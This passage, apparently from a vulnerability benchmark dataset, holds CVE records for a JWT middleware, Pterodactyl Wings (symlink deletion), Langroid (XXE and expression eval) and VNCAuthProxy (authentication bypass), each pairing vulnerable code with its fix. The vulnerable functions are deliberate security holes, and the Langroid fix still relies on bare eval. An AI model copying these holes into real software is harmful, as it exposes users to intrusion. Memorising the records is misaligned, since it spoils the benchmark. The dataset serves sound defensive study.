endpoints.\n\t\t\tif common.HasPrefixes(path, \"/o\") {\n\t\t\t\treturn next(c)\n\t\t\t}\n\t\t\t// When the request is not authenticated, we allow the user to access the memo endpoints for those public memos.\n\t\t\tif common.HasPrefixes(path, \"/api/status\", \"/api/memo\") && method == http.MethodGet {\n\t\t\t\treturn next(c)\n\t\t\t}\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Missing access token\")\n\t\t}\n\n\t\tclaims := &Claims{}\n\t\taccessToken, err := jwt.ParseWithClaims(token, claims, func(t *jwt.Token) (any, error) {\n\t\t\tif t.Method.Alg() != jwt.SigningMethodHS256.Name {\n\t\t\t\treturn nil, errors.Errorf(\"unexpected access token signing method=%v, expect %v\", t.Header[\"alg\"], jwt.SigningMethodHS256)\n\t\t\t}\n\t\t\tif kid, ok := t.Header[\"kid\"].(string); ok {\n\t\t\t\tif kid == \"v1\" {\n\t\t\t\t\treturn []byte(secret), nil\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil, errors.Errorf(\"unexpected access token kid=%v\", t.Header[\"kid\"])\n\t\t})\n\n\t\tif !accessToken.Valid {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Invalid access token.\")\n\t\t}\n\n\t\tif !audienceContains(claims.Audience, auth.AccessTokenAudienceName) {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Invalid access token, audience mismatch, got %q, expected %q.\", claims.Audience, auth.AccessTokenAudienceName))\n\t\t}\n\t\tgenerateToken := time.Until(claims.ExpiresAt.Time) < auth.RefreshThresholdDuration\n\t\tif err != nil {\n\t\t\tvar ve *jwt.ValidationError\n\t\t\tif errors.As(err, &ve) {\n\t\t\t\t// If expiration error is the only error, we will clear the err\n\t\t\t\t// and generate new access token and refresh token\n\t\t\t\tif ve.Errors == jwt.ValidationErrorExpired {\n\t\t\t\t\tgenerateToken = true\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, errors.Wrap(err, \"Invalid or expired access token\"))\n\t\t\t}\n\t\t}\n\n\t\t// We either have a valid access token or we will attempt to generate new access token and refresh token\n\t\tctx := c.Request().Context()\n\t\tuserID, err := strconv.Atoi(claims.Subject)\n\t\tif err != nil {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Malformed ID in the token.\")\n\t\t}\n\n\t\t// Even if there is no error, we still need to make sure the user still exists.\n\t\tuser, err := server.Store.GetUser(ctx, &store.FindUserMessage{\n\t\t\tID: &userID,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to find user ID: %d\", userID)).SetInternal(err)\n\t\t}\n\t\tif user == nil {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Failed to find user ID: %d\", userID))\n\t\t}\n\n\t\tif generateToken {\n\t\t\tgenerateTokenFunc := func() error {\n\t\t\t\trc, err := c.Cookie(auth.RefreshTokenCookieName)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Failed to generate access token. Missing refresh token.\")\n\t\t\t\t}\n\n\t\t\t\t// Parses token and checks if it's valid.\n\t\t\t\trefreshTokenClaims := &Claims{}\n\t\t\t\trefreshToken, err := jwt.ParseWithClaims(rc.Value, refreshTokenClaims, func(t *jwt.Token) (any, error) {\n\t\t\t\t\tif t.Method.Alg() != jwt.SigningMethodHS256.Name {\n\t\t\t\t\t\treturn nil, errors.Errorf(\"unexpected refresh token signing method=%v, expected %v\", t.Header[\"alg\"], jwt.SigningMethodHS256)\n\t\t\t\t\t}\n\n\t\t\t\t\tif kid, ok := t.Header[\"kid\"].(string); ok {\n\t\t\t\t\t\tif kid == \"v1\" {\n\t\t\t\t\t\t\treturn []byte(secret), nil\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn nil, errors.Errorf(\"unexpected refresh token kid=%v\", t.Header[\"kid\"])\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tif err == jwt.ErrSignatureInvalid {\n\t\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Failed to generate access token. Invalid refresh token signature.\")\n\t\t\t\t\t}\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to refresh expired token. User Id %d\", userID)).SetInternal(err)\n\t\t\t\t}\n\n\t\t\t\tif !audienceContains(refreshTokenClaims.Audience, auth.RefreshTokenAudienceName) {\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized,\n\t\t\t\t\t\tfmt.Sprintf(\"Invalid refresh token, audience mismatch, got %q, expected %q. you may send request to the wrong environment\",\n\t\t\t\t\t\t\trefreshTokenClaims.Audience,\n\t\t\t\t\t\t\tauth.RefreshTokenAudienceName,\n\t\t\t\t\t\t))\n\t\t\t\t}\n\n\t\t\t\t// If we have a valid refresh token, we will generate new access token and refresh token\n\t\t\t\tif refreshToken != nil && refreshToken.Valid {\n\t\t\t\t\tif err := auth.GenerateTokensAndSetCookies(c, user, secret); err != nil {\n\t\t\t\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to refresh expired token. User Id %d\", userID)).SetInternal(err)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\t// It may happen that we still have a valid access token, but we encounter issue when trying to generate new token\n\t\t\t// In such case, we won't return the error.\n\t\t\tif err := generateTokenFunc(); err != nil && !accessToken.Valid {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\t// Stores userID into context.\n\t\tc.Set(getUserIDContextKey(), userID)\n\t\treturn next(c)\n\t}\n}"}], "vul_patch": "--- a/server/jwt.go\n+++ b/server/jwt.go\n@@ -37,6 +37,11 @@\n \t\t\t}\n \t\t\treturn nil, errors.Errorf(\"unexpected access token kid=%v\", t.Header[\"kid\"])\n \t\t})\n+\n+\t\tif !accessToken.Valid {\n+\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Invalid access token.\")\n+\t\t}\n+\n \t\tif !audienceContains(claims.Audience, auth.AccessTokenAudienceName) {\n \t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Invalid access token, audience mismatch, got %q, expected %q.\", claims.Audience, auth.AccessTokenAudienceName))\n \t\t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-25168", "cve_description": "Wings is Pterodactyl's server control plane. This vulnerability can be used to delete files and directories recursively on the host system.  This vulnerability can be combined with `GHSA-p8r3-83r8-jwj5` to overwrite files on the host system. In order to use this exploit, an attacker must have an existing \"server\" allocated and controlled by Wings. This vulnerability has been resolved in version `v1.11.4` of Wings, and has been back-ported to the 1.7 release series in `v1.7.4`. Anyone running `v1.11.x` should upgrade to `v1.11.4` and anyone running `v1.7.x` should upgrade to `v1.7.4`. There are no known workarounds for this issue.", "cwe_info": {"CWE-59": {"name": "Improper Link Resolution Before File Access ('Link Following')", "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."}}, "repo": "https://github.com/pterodactyl/wings", "patch_url": ["https://github.com/pterodactyl/wings/commit/429ac62dba22997a278bc709df5ac00a5a25d83d"], "programing_language": "Go", "vul_func": [{"id": "vul_go_83_1", "commit": "020abec6f2b4aef70c50a99570de30bb87f0bf67", "file_path": "server/filesystem/filesystem.go", "start_line": 389, "end_line": 431, "snippet": "func (fs *Filesystem) Delete(p string) error {\n\twg := sync.WaitGroup{}\n\t// This is one of the few (only?) places in the codebase where we're explicitly not using\n\t// the SafePath functionality when working with user provided input. If we did, you would\n\t// not be able to delete a file that is a symlink pointing to a location outside of the data\n\t// directory.\n\t//\n\t// We also want to avoid resolving a symlink that points _within_ the data directory and thus\n\t// deleting the actual source file for the symlink rather than the symlink itself. For these\n\t// purposes just resolve the actual file path using filepath.Join() and confirm that the path\n\t// exists within the data directory.\n\tresolved := fs.unsafeFilePath(p)\n\tif !fs.unsafeIsInDataDirectory(resolved) {\n\t\treturn NewBadPathResolution(p, resolved)\n\t}\n\n\t// Block any whoopsies.\n\tif resolved == fs.Path() {\n\t\treturn errors.New(\"cannot delete root server directory\")\n\t}\n\n\tif st, err := os.Lstat(resolved); err != nil {\n\t\tif !os.IsNotExist(err) {\n\t\t\tfs.error(err).Warn(\"error while attempting to stat file before deletion\")\n\t\t}\n\t} else {\n\t\tif !st.IsDir() {\n\t\t\tfs.addDisk(-st.Size())\n\t\t} else {\n\t\t\twg.Add(1)\n\t\t\tgo func(wg *sync.WaitGroup, st os.FileInfo, resolved string) {\n\t\t\t\tdefer wg.Done()\n\t\t\t\tif s, err := fs.DirectorySize(resolved); err == nil {\n\t\t\t\t\tfs.addDisk(-s)\n\t\t\t\t}\n\t\t\t}(&wg, st, resolved)\n\t\t}\n\t}\n\n\twg.Wait()\n\n\treturn os.RemoveAll(resolved)\n}"}], "fix_func": [{"id": "fix_go_83_1", "commit": "429ac62dba22997a278bc709df5ac00a5a25d83d", "file_path": "server/filesystem/filesystem.go", "start_line": 389, "end_line": 470, "snippet": "func (fs *Filesystem) Delete(p string) error {\n\t// This is one of the few (only?) places in the codebase where we're explicitly not using\n\t// the SafePath functionality when working with user provided input. If we did, you would\n\t// not be able to delete a file that is a symlink pointing to a location outside the data\n\t// directory.\n\t//\n\t// We also want to avoid resolving a symlink that points _within_ the data directory and thus\n\t// deleting the actual source file for the symlink rather than the symlink itself. For these\n\t// purposes just resolve the actual file path using filepath.Join() and confirm that the path\n\t// exists within the data directory.\n\tresolved := fs.unsafeFilePath(p)\n\tif !fs.unsafeIsInDataDirectory(resolved) {\n\t\treturn NewBadPathResolution(p, resolved)\n\t}\n\n\t// Block any whoopsies.\n\tif resolved == fs.Path() {\n\t\treturn errors.New(\"cannot delete root server directory\")\n\t}\n\n\tst, err := os.Lstat(resolved)\n\tif err != nil {\n\t\tif !os.IsNotExist(err) {\n\t\t\tfs.error(err).Warn(\"error while attempting to stat file before deletion\")\n\t\t\treturn err\n\t\t}\n\n\t\t// The following logic is used to handle a case where a user attempts to\n\t\t// delete a file that does not exist through a directory symlink.\n\t\t// We don't want to reveal that the file does not exist, so we validate\n\t\t// the path of the symlink and return a bad path error if it is invalid.\n\n\t\t// The requested file or directory doesn't exist, so at this point we\n\t\t// need to iterate up the path chain until we hit a directory that\n\t\t// _does_ exist and can be validated.\n\t\tparts := strings.Split(filepath.Dir(resolved), \"/\")\n\n\t\t// Range over all the path parts and form directory paths from the end\n\t\t// moving up until we have a valid resolution, or we run out of paths to\n\t\t// try.\n\t\tfor k := range parts {\n\t\t\ttry := strings.Join(parts[:(len(parts)-k)], \"/\")\n\t\t\tif !fs.unsafeIsInDataDirectory(try) {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tt, err := filepath.EvalSymlinks(try)\n\t\t\tif err == nil {\n\t\t\t\tif !fs.unsafeIsInDataDirectory(t) {\n\t\t\t\t\treturn NewBadPathResolution(p, t)\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// Always return early if the file does not exist.\n\t\treturn nil\n\t}\n\n\t// If the file is not a symlink, we need to check that it is not within a\n\t// symlinked directory that points outside the data directory.\n\tif st.Mode()&os.ModeSymlink == 0 {\n\t\tep, err := filepath.EvalSymlinks(resolved)\n\t\tif err != nil {\n\t\t\tif !os.IsNotExist(err) {\n\t\t\t\treturn err\n\t\t\t}\n\t\t} else if !fs.unsafeIsInDataDirectory(ep) {\n\t\t\treturn NewBadPathResolution(p, ep)\n\t\t}\n\t}\n\n\tif st.IsDir() {\n\t\tif s, err := fs.DirectorySize(resolved); err == nil {\n\t\t\tfs.addDisk(-s)\n\t\t}\n\t} else {\n\t\tfs.addDisk(-st.Size())\n\t}\n\n\treturn os.RemoveAll(resolved)\n}"}], "vul_patch": "--- a/server/filesystem/filesystem.go\n+++ b/server/filesystem/filesystem.go\n@@ -1,8 +1,7 @@\n func (fs *Filesystem) Delete(p string) error {\n-\twg := sync.WaitGroup{}\n \t// This is one of the few (only?) places in the codebase where we're explicitly not using\n \t// the SafePath functionality when working with user provided input. If we did, you would\n-\t// not be able to delete a file that is a symlink pointing to a location outside of the data\n+\t// not be able to delete a file that is a symlink pointing to a location outside the data\n \t// directory.\n \t//\n \t// We also want to avoid resolving a symlink that points _within_ the data directory and thus\n@@ -19,25 +18,65 @@\n \t\treturn errors.New(\"cannot delete root server directory\")\n \t}\n \n-\tif st, err := os.Lstat(resolved); err != nil {\n+\tst, err := os.Lstat(resolved)\n+\tif err != nil {\n \t\tif !os.IsNotExist(err) {\n \t\t\tfs.error(err).Warn(\"error while attempting to stat file before deletion\")\n+\t\t\treturn err\n \t\t}\n-\t} else {\n-\t\tif !st.IsDir() {\n-\t\t\tfs.addDisk(-st.Size())\n-\t\t} else {\n-\t\t\twg.Add(1)\n-\t\t\tgo func(wg *sync.WaitGroup, st os.FileInfo, resolved string) {\n-\t\t\t\tdefer wg.Done()\n-\t\t\t\tif s, err := fs.DirectorySize(resolved); err == nil {\n-\t\t\t\t\tfs.addDisk(-s)\n+\n+\t\t// The following logic is used to handle a case where a user attempts to\n+\t\t// delete a file that does not exist through a directory symlink.\n+\t\t// We don't want to reveal that the file does not exist, so we validate\n+\t\t// the path of the symlink and return a bad path error if it is invalid.\n+\n+\t\t// The requested file or directory doesn't exist, so at this point we\n+\t\t// need to iterate up the path chain until we hit a directory that\n+\t\t// _does_ exist and can be validated.\n+\t\tparts := strings.Split(filepath.Dir(resolved), \"/\")\n+\n+\t\t// Range over all the path parts and form directory paths from the end\n+\t\t// moving up until we have a valid resolution, or we run out of paths to\n+\t\t// try.\n+\t\tfor k := range parts {\n+\t\t\ttry := strings.Join(parts[:(len(parts)-k)], \"/\")\n+\t\t\tif !fs.unsafeIsInDataDirectory(try) {\n+\t\t\t\tbreak\n+\t\t\t}\n+\n+\t\t\tt, err := filepath.EvalSymlinks(try)\n+\t\t\tif err == nil {\n+\t\t\t\tif !fs.unsafeIsInDataDirectory(t) {\n+\t\t\t\t\treturn NewBadPathResolution(p, t)\n \t\t\t\t}\n-\t\t\t}(&wg, st, resolved)\n+\t\t\t\tbreak\n+\t\t\t}\n+\t\t}\n+\n+\t\t// Always return early if the file does not exist.\n+\t\treturn nil\n+\t}\n+\n+\t// If the file is not a symlink, we need to check that it is not within a\n+\t// symlinked directory that points outside the data directory.\n+\tif st.Mode()&os.ModeSymlink == 0 {\n+\t\tep, err := filepath.EvalSymlinks(resolved)\n+\t\tif err != nil {\n+\t\t\tif !os.IsNotExist(err) {\n+\t\t\t\treturn err\n+\t\t\t}\n+\t\t} else if !fs.unsafeIsInDataDirectory(ep) {\n+\t\t\treturn NewBadPathResolution(p, ep)\n \t\t}\n \t}\n \n-\twg.Wait()\n+\tif st.IsDir() {\n+\t\tif s, err := fs.DirectorySize(resolved); err == nil {\n+\t\t\tfs.addDisk(-s)\n+\t\t}\n+\t} else {\n+\t\tfs.addDisk(-st.Size())\n+\t}\n \n \treturn os.RemoveAll(resolved)\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-25168:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/wings\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^TestFilesystem_Delete$ github.com/pterodactyl/wings/server/filesystem\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-25168:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/wings\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestFilesystem_Writefile|TestFilesystem_CreateDirectory|TestFilesystem_Rename|TestFilesystem_Copy|TestFilesystem_Openfile|TestFilesystem_Delete)$' github.com/pterodactyl/wings/server/filesystem\n"}
{"cve_id": "CVE-2025-46726", "cve_description": "Langroid is a framework for building large-language-model-powered applications. Prior to version 0.53.4, a LLM application leveraging `XMLToolMessage` class may be exposed to untrusted XML input that could result in DoS and/or exposing local files with sensitive information. Version 0.53.4 fixes the issue.", "cwe_info": {"CWE-611": {"name": "Improper Restriction of XML External Entity Reference", "description": "The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output."}}, "repo": "https://github.com/langroid/langroid", "patch_url": ["https://github.com/langroid/langroid/commit/36e7e7db4dd1636de225c2c66c84052b1e9ac3c3"], "programing_language": "Python", "vul_func": [{"id": "vul_py_404_1", "commit": "eca5c0677ee27acf71b7ff68e69576135769a2fb", "file_path": "langroid/agent/special/table_chat_agent.py", "start_line": 195, "end_line": 237, "snippet": "    def pandas_eval(self, msg: PandasEvalTool) -> str:\n        \"\"\"\n        Handle a PandasEvalTool message by evaluating the `expression` field\n            and returning the result.\n        Args:\n            msg (PandasEvalTool): The tool-message to handle.\n\n        Returns:\n            str: The result of running the code along with any print output.\n        \"\"\"\n        self.sent_expression = True\n        exprn = msg.expression\n        local_vars = {\"df\": self.df}\n        # Create a string-based I/O stream\n        code_out = io.StringIO()\n\n        # Temporarily redirect standard output to our string-based I/O stream\n        sys.stdout = code_out\n\n        # Evaluate the last line and get the result\n        try:\n            eval_result = pd.eval(exprn, local_dict=local_vars)\n        except Exception as e:\n            eval_result = f\"ERROR: {type(e)}: {e}\"\n\n        if eval_result is None:\n            eval_result = \"\"\n\n        # Always restore the original standard output\n        sys.stdout = sys.__stdout__\n\n        # If df has been modified in-place, save the changes back to self.df\n        self.df = local_vars[\"df\"]\n\n        # Get the resulting string from the I/O stream\n        print_result = code_out.getvalue() or \"\"\n        sep = \"\\n\" if print_result else \"\"\n        # Combine the print and eval results\n        result = f\"{print_result}{sep}{eval_result}\"\n        if result == \"\":\n            result = \"No result\"\n        # Return the result\n        return result"}, {"id": "vul_py_404_2", "commit": "eca5c0677ee27acf71b7ff68e69576135769a2fb", "file_path": "langroid/agent/xml_tool_message.py", "start_line": 36, "end_line": 97, "snippet": "    def extract_field_values(cls, formatted_string: str) -> Optional[Dict[str, Any]]:\n        \"\"\"\n        Extracts field values from an XML-formatted string.\n\n        Args:\n            formatted_string (str): The XML-formatted string to parse.\n\n        Returns:\n            Optional[Dict[str, Any]]: A dictionary containing the extracted field\n                values, where keys are the XML element names and values are their\n                corresponding contents.\n            Returns None if parsing fails or the root element is not a dictionary.\n\n        Raises:\n            etree.XMLSyntaxError: If the input string is not valid XML.\n        \"\"\"\n        parser = etree.XMLParser(strip_cdata=False)\n        root = etree.fromstring(formatted_string.encode(\"utf-8\"), parser=parser)\n\n        def parse_element(element: etree._Element) -> Any:\n            # Skip elements starting with underscore\n            if element.tag.startswith(\"_\"):\n                return {}\n\n            field_info = cls.__fields__.get(element.tag)\n            is_verbatim = field_info and field_info.field_info.extra.get(\n                \"verbatim\", False\n            )\n\n            if is_verbatim:\n                # For code elements, preserve the content as is, including whitespace\n                content = element.text if element.text else \"\"\n                # Strip leading and trailing triple backticks if present,\n                # accounting for whitespace\n                return (\n                    content.strip().removeprefix(\"```\").removesuffix(\"```\").strip()\n                    if content.strip().startswith(\"```\")\n                    and content.strip().endswith(\"```\")\n                    else content\n                )\n            elif len(element) == 0:\n                # For non-code leaf elements, strip whitespace\n                return element.text.strip() if element.text else \"\"\n            else:\n                # For branch elements, handle potential lists or nested structures\n                children = [parse_element(child) for child in element]\n                if all(child.tag == element[0].tag for child in element):\n                    # If all children have the same tag, treat as a list\n                    return children\n                else:\n                    # Otherwise, treat as a dictionary\n                    result = {child.tag: parse_element(child) for child in element}\n                    # Check if this corresponds to a nested Pydantic model\n                    if field_info and issubclass(field_info.type_, BaseModel):\n                        return field_info.type_(**result)\n                    return result\n\n        result = parse_element(root)\n        if not isinstance(result, dict):\n            return None\n        # Filter out empty dictionaries from skipped underscore fields\n        return {k: v for k, v in result.items() if v != {}}"}], "fix_func": [{"id": "fix_py_404_1", "commit": "36e7e7db4dd1636de225c2c66c84052b1e9ac3c3", "file_path": "langroid/agent/special/table_chat_agent.py", "start_line": 195, "end_line": 239, "snippet": "    def pandas_eval(self, msg: PandasEvalTool) -> str:\n        \"\"\"\n        Handle a PandasEvalTool message by evaluating the `expression` field\n            and returning the result.\n        Args:\n            msg (PandasEvalTool): The tool-message to handle.\n\n        Returns:\n            str: The result of running the code along with any print output.\n        \"\"\"\n        self.sent_expression = True\n        exprn = msg.expression\n        local_vars = {\"df\": self.df}\n        # Create a string-based I/O stream\n        code_out = io.StringIO()\n\n        # Temporarily redirect standard output to our string-based I/O stream\n        sys.stdout = code_out\n\n        # Evaluate the last line and get the result;\n        # SECURITY: eval only with empty globals and {\"df\": df} in locals to\n        # prevent arbitrary Python code execution.\n        try:\n            eval_result = eval(exprn, {}, local_vars)\n        except Exception as e:\n            eval_result = f\"ERROR: {type(e)}: {e}\"\n\n        if eval_result is None:\n            eval_result = \"\"\n\n        # Always restore the original standard output\n        sys.stdout = sys.__stdout__\n\n        # If df has been modified in-place, save the changes back to self.df\n        self.df = local_vars[\"df\"]\n\n        # Get the resulting string from the I/O stream\n        print_result = code_out.getvalue() or \"\"\n        sep = \"\\n\" if print_result else \"\"\n        # Combine the print and eval results\n        result = f\"{print_result}{sep}{eval_result}\"\n        if result == \"\":\n            result = \"No result\"\n        # Return the result\n        return result"}, {"id": "fix_py_404_2", "commit": "36e7e7db4dd1636de225c2c66c84052b1e9ac3c3", "file_path": "langroid/agent/xml_tool_message.py", "start_line": 36, "end_line": 107, "snippet": "    def extract_field_values(cls, formatted_string: str) -> Optional[Dict[str, Any]]:\n        \"\"\"\n        Extracts field values from an XML-formatted string.\n\n        Args:\n            formatted_string (str): The XML-formatted string to parse.\n\n        Returns:\n            Optional[Dict[str, Any]]: A dictionary containing the extracted field\n                values, where keys are the XML element names and values are their\n                corresponding contents.\n            Returns None if parsing fails or the root element is not a dictionary.\n\n        Raises:\n            etree.XMLSyntaxError: If the input string is not valid XML.\n        \"\"\"\n        # SECURITY: Initialize XMLParser with flags to prevent \n        # XML External Entity (XXE), billion laughs, and external DTD attacks by \n        # disabling entity resolution, DTD loading, and network access;\n        # `strip_cdata=False` is needed to preserve\n        # content within CDATA sections (e.g., for code).        \n        parser = etree.XMLParser(\n            strip_cdata=False,\n            resolve_entities=False,\n            load_dtd=False,\n            no_network=True,\n        )\n        root = etree.fromstring(formatted_string.encode(\"utf-8\"), parser=parser)\n\n        def parse_element(element: etree._Element) -> Any:\n            # Skip elements starting with underscore\n            if element.tag.startswith(\"_\"):\n                return {}\n\n            field_info = cls.__fields__.get(element.tag)\n            is_verbatim = field_info and field_info.field_info.extra.get(\n                \"verbatim\", False\n            )\n\n            if is_verbatim:\n                # For code elements, preserve the content as is, including whitespace\n                content = element.text if element.text else \"\"\n                # Strip leading and trailing triple backticks if present,\n                # accounting for whitespace\n                return (\n                    content.strip().removeprefix(\"```\").removesuffix(\"```\").strip()\n                    if content.strip().startswith(\"```\")\n                    and content.strip().endswith(\"```\")\n                    else content\n                )\n            elif len(element) == 0:\n                # For non-code leaf elements, strip whitespace\n                return element.text.strip() if element.text else \"\"\n            else:\n                # For branch elements, handle potential lists or nested structures\n                children = [parse_element(child) for child in element]\n                if all(child.tag == element[0].tag for child in element):\n                    # If all children have the same tag, treat as a list\n                    return children\n                else:\n                    # Otherwise, treat as a dictionary\n                    result = {child.tag: parse_element(child) for child in element}\n                    # Check if this corresponds to a nested Pydantic model\n                    if field_info and issubclass(field_info.type_, BaseModel):\n                        return field_info.type_(**result)\n                    return result\n\n        result = parse_element(root)\n        if not isinstance(result, dict):\n            return None\n        # Filter out empty dictionaries from skipped underscore fields\n        return {k: v for k, v in result.items() if v != {}}"}], "vul_patch": "--- a/langroid/agent/special/table_chat_agent.py\n+++ b/langroid/agent/special/table_chat_agent.py\n@@ -17,9 +17,11 @@\n         # Temporarily redirect standard output to our string-based I/O stream\n         sys.stdout = code_out\n \n-        # Evaluate the last line and get the result\n+        # Evaluate the last line and get the result;\n+        # SECURITY: eval only with empty globals and {\"df\": df} in locals to\n+        # prevent arbitrary Python code execution.\n         try:\n-            eval_result = pd.eval(exprn, local_dict=local_vars)\n+            eval_result = eval(exprn, {}, local_vars)\n         except Exception as e:\n             eval_result = f\"ERROR: {type(e)}: {e}\"\n \n\n--- a/langroid/agent/xml_tool_message.py\n+++ b/langroid/agent/xml_tool_message.py\n@@ -14,7 +14,17 @@\n         Raises:\n             etree.XMLSyntaxError: If the input string is not valid XML.\n         \"\"\"\n-        parser = etree.XMLParser(strip_cdata=False)\n+        # SECURITY: Initialize XMLParser with flags to prevent \n+        # XML External Entity (XXE), billion laughs, and external DTD attacks by \n+        # disabling entity resolution, DTD loading, and network access;\n+        # `strip_cdata=False` is needed to preserve\n+        # content within CDATA sections (e.g., for code).        \n+        parser = etree.XMLParser(\n+            strip_cdata=False,\n+            resolve_entities=False,\n+            load_dtd=False,\n+            no_network=True,\n+        )\n         root = etree.fromstring(formatted_string.encode(\"utf-8\"), parser=parser)\n \n         def parse_element(element: etree._Element) -> Any:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-36436", "cve_description": "OSU Open Source Lab VNCAuthProxy through 1.1.1 is affected by an vncap/vnc/protocol.py VNCServerAuthenticator authentication-bypass vulnerability that could allow a malicious actor to gain unauthorized access to a VNC session or to disconnect a legitimate user from a VNC session. A remote attacker with network access to the proxy server could leverage this vulnerability to connect to VNC servers protected by the proxy server without providing any authentication credentials. Exploitation of this issue requires that the proxy server is currently accepting connections for the target VNC server.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/osuosl/twisted_vncauthproxy", "patch_url": ["https://github.com/osuosl/twisted_vncauthproxy/commit/edc149af29242178091b2d6fcd42c3ef0851644b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_305_1", "commit": "3dffdff", "file_path": "vncap/vnc/protocol.py", "start_line": 68, "end_line": 81, "snippet": "    def check_version(self, version):\n        \"\"\"\n        Determine the client's version and decide whether to continue the\n        handshake.\n        \"\"\"\n\n        if version == self.VERSION:\n            log.msg(\"Client version %s is valid\" % version.strip())\n            # Hardcoded: 2 security types: None and VNC Auth.\n            self.transport.write(\"\\x02\\x01\\x02\")\n            return self.select_security_type, 1\n        else:\n            log.err(\"Can't handle VNC version %r\" % version)\n            self.transport.loseConnection()"}, {"id": "vul_py_305_2", "commit": "3dffdff", "file_path": "vncap/vnc/protocol.py", "start_line": 83, "end_line": 101, "snippet": "    def select_security_type(self, security_type):\n        \"\"\"\n        Choose the security type that the client wants.\n        \"\"\"\n\n        security_type = ord(security_type)\n\n        if security_type == 2:\n            # VNC authentication. Issue our challenge.\n            self.challenge = urandom(16)\n            self.transport.write(self.challenge)\n\n            return self.vnc_authentication_result, 16\n        elif security_type == 1:\n            # No authentication. Just move to the SecurityResult.\n            self.authenticated()\n        else:\n            log.err(\"Couldn't agree on an authentication scheme!\")\n            self.transport.loseConnection()"}], "fix_func": [{"id": "fix_py_305_1", "commit": "edc149af29242178091b2d6fcd42c3ef0851644b", "file_path": "vncap/vnc/protocol.py", "start_line": 68, "end_line": 81, "snippet": "    def check_version(self, version):\n        \"\"\"\n        Determine the client's version and decide whether to continue the\n        handshake.\n        \"\"\"\n\n        if version == self.VERSION:\n            log.msg(\"Client version %s is valid\" % version.strip())\n            # Hardcoded: 1 security type: VNC Auth.\n            self.transport.write(\"\\x01\\x02\")\n            return self.select_security_type, 1\n        else:\n            log.err(\"Can't handle VNC version %r\" % version)\n            self.transport.loseConnection()"}, {"id": "fix_py_305_2", "commit": "edc149af29242178091b2d6fcd42c3ef0851644b", "file_path": "vncap/vnc/protocol.py", "start_line": 83, "end_line": 98, "snippet": "    def select_security_type(self, security_type):\n        \"\"\"\n        Choose the security type that the client wants.\n        \"\"\"\n\n        security_type = ord(security_type)\n\n        if security_type == 2:\n            # VNC authentication. Issue our challenge.\n            self.challenge = urandom(16)\n            self.transport.write(self.challenge)\n\n            return self.vnc_authentication_result, 16\n        else:\n            log.err(\"Couldn't agree on an authentication scheme!\")\n            self.transport.loseConnection()"}], "vul_patch": "--- a/vncap/vnc/protocol.py\n+++ b/vncap/vnc/protocol.py\n@@ -6,8 +6,8 @@\n \n         if version == self.VERSION:\n             log.msg(\"Client version %s is valid\" % version.strip())\n-            # Hardcoded: 2 security types: None and VNC Auth.\n-            self.transport.write(\"\\x02\\x01\\x02\")\n+            # Hardcoded: 1 security type: VNC Auth.\n+            self.transport.write(\"\\x01\\x02\")\n             return self.select_security_type, 1\n         else:\n             log.err(\"Can't handle VNC version %r\" % version)\n\n--- a/vncap/vnc/protocol.py\n+++ b/vncap/vnc/protocol.py\n@@ -11,9 +11,6 @@\n             self.transport.write(self.challenge)\n \n             return self.vnc_authentication_result, 16\n-        elif security_type == 1:\n-            # No authentication. Just move to the SecurityResult.\n-            self.authenticated()\n         else:\n             log.err(\"Couldn't agree on an authentication scheme!\")\n             self.transport.loseConnection()\n\n", "poc_patch": null, "unit_test_cmd": null}
